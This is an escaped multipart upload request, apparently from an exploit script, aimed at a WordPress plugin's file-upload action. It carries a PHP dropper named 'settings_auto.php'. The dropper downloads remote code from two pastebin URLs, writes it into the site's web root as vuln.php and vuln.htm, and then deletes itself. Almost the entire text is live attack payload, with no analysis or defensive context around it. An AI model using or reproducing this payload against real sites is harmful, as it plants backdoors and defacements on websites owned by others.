\"action\"

nm_personalizedproduct_upload_file
--b8dfabfc8652423a05732a0bc269bc7a
Content-Disposition: form-data; name=\"name\"

upload.php
--b8dfabfc8652423a05732a0bc269bc7a
Content-Disposition: form-data; name=\"file\"; filename=\"settings_auto.php\"
Content-Type: multipart/form-data

<title>Vuln!! patch it Now!</title>
<?php
function http_get($url){
	$im = curl_init($url);
	curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
	curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($im, CURLOPT_HEADER, 0);
	return curl_exec($im);
	curl_close($im);
}
$check = $_SERVER[\'DOCUMENT_ROOT\'] . \"/wp-content/vuln.php\" ;
$text = http_get(\'https://pastebin.com/raw/phAM8DFH\');
$open = fopen($check, \'w\');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
    echo $check.\"</br>\";
}else 
  echo \"not exits\";
echo \"done .\\n \" ;

$check2 = $_SERVER[\'DOCUMENT_ROOT\'] . \"/vuln.htm\" ;
$text2 = http_get(\'https://pastebin.com/raw/880ufaWF\');
$open2 = fopen($check2, \'w\');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
    echo $check2.\"</br>\";
}else 
  echo \"not exits\";
echo \"done .\\n \" ;

@unlink(__FILE__);
?>

--b8dfabfc8652423a05732a0bc269bc7a--
